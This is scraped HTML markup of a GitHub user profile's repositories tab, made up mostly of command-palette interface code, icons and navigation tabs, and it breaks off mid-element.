aria-label="command palette trigger"> </summary> <details-dialog class="command-palette-details-dialog d-flex flex-column flex-justify-center height-fit" aria-label="command palette"> <command-palette class="command-palette color-bg-default rounded-3 border color-shadow-small" data-return-to=/chikitang?tab=repositories data-user-id="107093285" data-activation-hotkey="Mod+k,Mod+Alt+k" data-command-mode-hotkey="Mod+Shift+k" data-action=" command-palette-page-stack-updated:command-palette#updateInputScope itemsUpdated:command-palette#itemsUpdated keydown:command-palette#onKeydown loadingStateChanged:command-palette#loadingStateChanged selectedItemChanged:command-palette#selectedItemChanged pageFetchError:command-palette#pageFetchError "> <command-palette-mode data-char="#" data-scope-types="[&quot;&quot;]" data-placeholder="Search issues and pull requests" ></command-palette-mode> <command-palette-mode data-char="#" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-placeholder="Search issues, pull requests, discussions, and projects" ></command-palette-mode> <command-palette-mode data-char="!" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-placeholder="Search projects" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[&quot;&quot;]" data-placeholder="Search or jump to a user, organization, or repository" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[&quot;owner&quot;]" data-placeholder="Search or jump to a repository" ></command-palette-mode> <command-palette-mode data-char="/" data-scope-types="[&quot;repository&quot;]" data-placeholder="Search files" ></command-palette-mode> <command-palette-mode data-char="?" ></command-palette-mode> <command-palette-mode data-char="&gt;" data-placeholder="Run a command" ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[&quot;&quot;]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[&quot;owner&quot;]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode class="js-command-palette-default-mode" data-char="" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-input placeholder="Search or jump to..." data-action=" command-palette-input:command-palette#onInput command-palette-select:command-palette#onSelect command-palette-descope:command-palette#onDescope command-palette-cleared:command-palette#onInputClear " > <div class="js-search-icon d-flex flex-items-center mr-2" style="height: 26px"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search color-fg-muted"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <div class="js-spinner d-flex flex-items-center mr-2 color-fg-muted" hidden> <svg aria-label="Loading" class="anim-rotate" viewBox="0 0 16 16" fill="none" width="16" height="16"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" ></circle> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" ></path> </svg> </div> <command-palette-scope > <div data-target="command-palette-scope.placeholder" hidden class="color-fg-subtle">/&nbsp;&nbsp;<span class="text-semibold color-fg-default">...</span>&nbsp;&nbsp;/&nbsp;&nbsp;</div> <command-palette-token data-text="chikitang" data-id="U_kgDOBmIdJQ" data-type="owner" data-value="chikitang" data-targets="command-palette-scope.tokens" class="color-fg-default text-semibold" style="white-space:nowrap;line-height:20px;" >chikitang<span class="color-fg-subtle text-normal">&nbsp;&nbsp;/&nbsp;&nbsp;</span></command-palette-token> </command-palette-scope> <div class="command-palette-input-group flex-1 form-control border-0 box-shadow-none" style="z-index: 0"> <div class="command-palette-typeahead position-absolute d-flex flex-items-center Truncate"> <span class="typeahead-segment input-mirror" data-target="command-palette-input.mirror"></span> <span class="Truncate-text" data-target="command-palette-input.typeaheadText"></span> <span class="typeahead-segment" data-target="command-palette-input.typeaheadPlaceholder"></span> </div> <input class="js-overlay-input typeahead-input d-none" disabled tabindex="-1" aria-label="Hidden input for typeahead" > <input type="text" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" class="js-input typeahead-input form-control border-0 box-shadow-none input-block width-full no-focus-indicator" aria-label="Command palette input" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="command-palette-page-stack" role="combobox" data-action=" input:command-palette-input#onInput keydown:command-palette-input#onKeydown " > </div> <button aria-label="clear command palette" aria-keyshortcuts="Control+Backspace" data-action="click:command-palette-input#onClear keypress:command-palette-input#onClear" data-target="command-palette-input.clearButton" id="command-palette-clear-button" hidden="hidden" type="button" data-view-component="true" class="btn-octicon command-palette-input-clear-button"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill"> <path fill-rule="evenodd" d="M2.343 13.657A8 8 0 1113.657 2.343 8 8 0 012.343 13.657zM6.03 4.97a.75.75 0 00-1.06 1.06L6.94 8 4.97 9.97a.75.75 0 101.06 1.06L8 9.06l1.97 1.97a.75.75 0 101.06-1.06L9.06 8l1.97-1.97a.75.75 0 10-1.06-1.06L8 6.94 6.03 4.97z"></path> </svg></button> <tool-tip hidden="hidden" for="command-palette-clear-button" data-direction="w" data-type="description" data-view-component="true">Clear</tool-tip> </command-palette-input> <command-palette-page-stack data-default-scope-id="U_kgDOBmIdJQ" data-default-scope-type="User" data-action="command-palette-page-octicons-cached:command-palette-page-stack#cacheOcticons" > <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search discussions </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">!</kbd> to search projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;owner&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search teams </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search people and organizations </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">&gt;</kbd> to activate command mode </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Go to your accessibility settings to change your keyboard shortcuts </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type author:@me to search your content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:pr to filter to pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:issue to filter to issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:project to filter to projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:open to filter to open content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="mx-3 my-2 flash flash-error d-flex flex-items-center" data-scope-types="*" data-on-error> <div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </div> <div class="px-2"> We’ve encountered an error and some results aren't available at this time. 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data-octicon-id="bell-slash-color-fg-muted"> <svg height="16" class="octicon octicon-bell-slash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-.997 0-1.895.416-2.534 1.086A.75.75 0 014.38 1.55 5 5 0 0113 5v2.373a.75.75 0 01-1.5 0V5A3.5 3.5 0 008 1.5zM4.182 4.31L1.19 2.143a.75.75 0 10-.88 1.214L3 5.305v2.642a.25.25 0 01-.042.139L1.255 10.64A1.518 1.518 0 002.518 13h11.108l1.184.857a.75.75 0 10.88-1.214l-1.375-.996a1.196 1.196 0 00-.013-.01L4.198 4.321a.733.733 0 00-.016-.011zm7.373 7.19L4.5 6.391v1.556c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01.015.015 0 00.005.012.017.017 0 00.006.004l.007.001h9.037zM8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="paintbrush-color-fg-muted"> <svg height="16" class="octicon octicon-paintbrush color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.134 1.535C9.722 2.562 8.16 4.057 6.889 5.312 5.8 6.387 5.041 7.401 4.575 8.294a3.745 3.745 0 00-3.227 1.054c-.43.431-.69 1.066-.86 1.657a11.982 11.982 0 00-.358 1.914A21.263 21.263 0 000 15.203v.054l.75-.007-.007.75h.054a14.404 14.404 0 00.654-.012 21.243 21.243 0 001.63-.118c.62-.07 1.3-.18 1.914-.357.592-.17 1.226-.43 1.657-.861a3.745 3.745 0 001.055-3.217c.908-.461 1.942-1.216 3.04-2.3 1.279-1.262 2.764-2.825 3.775-4.249.501-.706.923-1.428 1.125-2.096.2-.659.235-1.469-.368-2.07-.606-.607-1.42-.55-2.069-.34-.66.213-1.376.646-2.076 1.155zm-3.95 8.48a3.76 3.76 0 00-1.19-1.192 9.758 9.758 0 011.161-1.607l1.658 1.658a9.853 9.853 0 01-1.63 1.142zM.742 16l.007-.75-.75.008A.75.75 0 00.743 16zM12.016 2.749c-1.224.89-2.605 2.189-3.822 3.384l1.718 1.718c1.21-1.205 2.51-2.597 3.387-3.833.47-.662.78-1.227.912-1.662.134-.444.032-.551.009-.575h-.001V1.78c-.014-.014-.112-.113-.548.027-.432.14-.995.462-1.655.942zM1.62 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<command-palette-item-group data-group-id="this_page" data-group-title="This Page" data-group-hint="" data-group-limits="{}" data-default-priority="3" > </command-palette-item-group> <command-palette-item-group data-group-id="files" data-group-title="Files" data-group-hint="" data-group-limits="{}" data-default-priority="4" > </command-palette-item-group> <command-palette-item-group data-group-id="default" data-group-title="Default" data-group-hint="" data-group-limits="{&quot;static_items_page&quot;:50}" data-default-priority="5" > </command-palette-item-group> <command-palette-item-group data-group-id="pages" data-group-title="Pages" data-group-hint="" data-group-limits="{&quot;repository&quot;:10}" data-default-priority="6" > </command-palette-item-group> <command-palette-item-group data-group-id="access_policies" data-group-title="Access Policies" data-group-hint="" data-group-limits="{}" data-default-priority="7" > </command-palette-item-group> <command-palette-item-group data-group-id="organizations" data-group-title="Organizations" data-group-hint="" data-group-limits="{}" data-default-priority="8" > </command-palette-item-group> <command-palette-item-group data-group-id="repositories" data-group-title="Repositories" data-group-hint="" data-group-limits="{}" data-default-priority="9" > </command-palette-item-group> <command-palette-item-group data-group-id="references" data-group-title="Issues, pull requests, and discussions" data-group-hint="Type # to filter" data-group-limits="{}" data-default-priority="10" > </command-palette-item-group> <command-palette-item-group data-group-id="teams" data-group-title="Teams" data-group-hint="" data-group-limits="{}" data-default-priority="11" > </command-palette-item-group> <command-palette-item-group data-group-id="users" data-group-title="Users" data-group-hint="" data-group-limits="{}" data-default-priority="12" > </command-palette-item-group> <command-palette-item-group data-group-id="projects" data-group-title="Projects" data-group-hint="" data-group-limits="{}" data-default-priority="13" > </command-palette-item-group> <command-palette-item-group data-group-id="footer" data-group-title="Footer" data-group-hint="" data-group-limits="{}" data-default-priority="14" > </command-palette-item-group> <command-palette-item-group data-group-id="modes_help" data-group-title="Modes" data-group-hint="" data-group-limits="{}" data-default-priority="15" > </command-palette-item-group> <command-palette-item-group data-group-id="filters_help" data-group-title="Use filters in issues, pull requests, discussions, and projects" data-group-hint="" data-group-limits="{}" data-default-priority="16" > </command-palette-item-group> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" data-targets="command-palette-page-stack.defaultPages" hidden > </command-palette-page> </div> <command-palette-page data-is-root> </command-palette-page> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" > </command-palette-page> </command-palette-page-stack> <server-defined-provider data-type="search-links" data-targets="command-palette.serverDefinedProviderElements"></server-defined-provider> <server-defined-provider data-type="help" data-targets="command-palette.serverDefinedProviderElements"> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="[&quot;&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues</strong> and <strong>pull requests</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues, pull requests, discussions,</strong> and <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="@" data-scope-types="[&quot;&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>organizations, repositories,</strong> and <strong>users</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">@</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="!" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">!</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="/" data-scope-types="[&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>files</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">/</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="&gt;" > <span data-target="command-palette-help.titleElement">Activate <strong>command mode</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">&gt;</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:pr" > <span data-target="command-palette-help.titleElement">Filter to pull requests</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:pr</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:issue" > <span data-target="command-palette-help.titleElement">Filter to issues</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:issue</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:discussion" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Filter to discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:discussion</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:project" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Filter to projects</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:project</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:open" > <span data-target="command-palette-help.titleElement">Filter to open issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:open</kbd> </span> </command-palette-help> </server-defined-provider> <server-defined-provider data-type="commands" data-fetch-debounce="0" data-src="/command_palette/commands" data-supported-modes="[]" data-supports-commands data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_page_navigation" data-supported-modes="[&quot;&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/issues" data-supported-modes="[&quot;#&quot;,&quot;#&quot;]" data-supported-scope-types="[&quot;owner&quot;,&quot;repository&quot;,&quot;&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to" data-supported-modes="[&quot;@&quot;,&quot;@&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to_members_only" data-supported-modes="[&quot;@&quot;,&quot;@&quot;,&quot;&quot;,&quot;&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_members_only_prefetched" data-supported-modes="[&quot;@&quot;,&quot;@&quot;,&quot;&quot;,&quot;&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="files" data-fetch-debounce="0" data-src="/command_palette/files" data-supported-modes="[&quot;/&quot;]" data-supported-scope-types="[&quot;repository&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/discussions" data-supported-modes="[&quot;#&quot;]" data-supported-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/projects" data-supported-modes="[&quot;#&quot;,&quot;!&quot;]" data-supported-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/recent_issues" data-supported-modes="[&quot;#&quot;,&quot;#&quot;]" data-supported-scope-types="[&quot;owner&quot;,&quot;repository&quot;,&quot;&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/teams" data-supported-modes="[&quot;@&quot;,&quot;&quot;]" data-supported-scope-types="[&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/name_with_owner_repository" data-supported-modes="[&quot;@&quot;,&quot;@&quot;,&quot;&quot;,&quot;&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> </command-palette> </details-dialog> </details> <div class="position-fixed bottom-0 left-0 ml-5 mb-5 js-command-palette-toasts" style="z-index: 1000"> <div hidden class="Toast Toast--loading"> <span class="Toast-icon"> <svg class="Toast--spinner" viewBox="0 0 32 32" width="18" height="18" aria-hidden="true"> <path fill="#959da5" d="M16 0 A16 16 0 0 0 16 32 A16 16 0 0 0 16 0 M16 4 A12 12 0 0 1 16 28 A12 12 0 0 1 16 4" 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aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-info"> <path fill-rule="evenodd" d="M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM0 8a8 8 0 1116 0A8 8 0 010 8zm6.5-.25A.75.75 0 017.25 7h1a.75.75 0 01.75.75v2.75h.25a.75.75 0 010 1.5h-2a.75.75 0 010-1.5h.25v-2h-.25a.75.75 0 01-.75-.75zM8 6a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> </div> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <main id="js-pjax-container" data-pjax-container> <div class="mt-4 position-sticky top-0 d-none d-md-block color-bg-default width-full border-bottom color-border-muted" style="z-index:3;" > <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="user-profile-sticky-bar"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&amp;v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav width-full box-shadow-none js-responsive-underlinenav overflow-md-x-hidden"> <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_OVERVIEW&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_REPOSITORIES&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_PROJECTS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&amp;type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_PACKAGES&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path 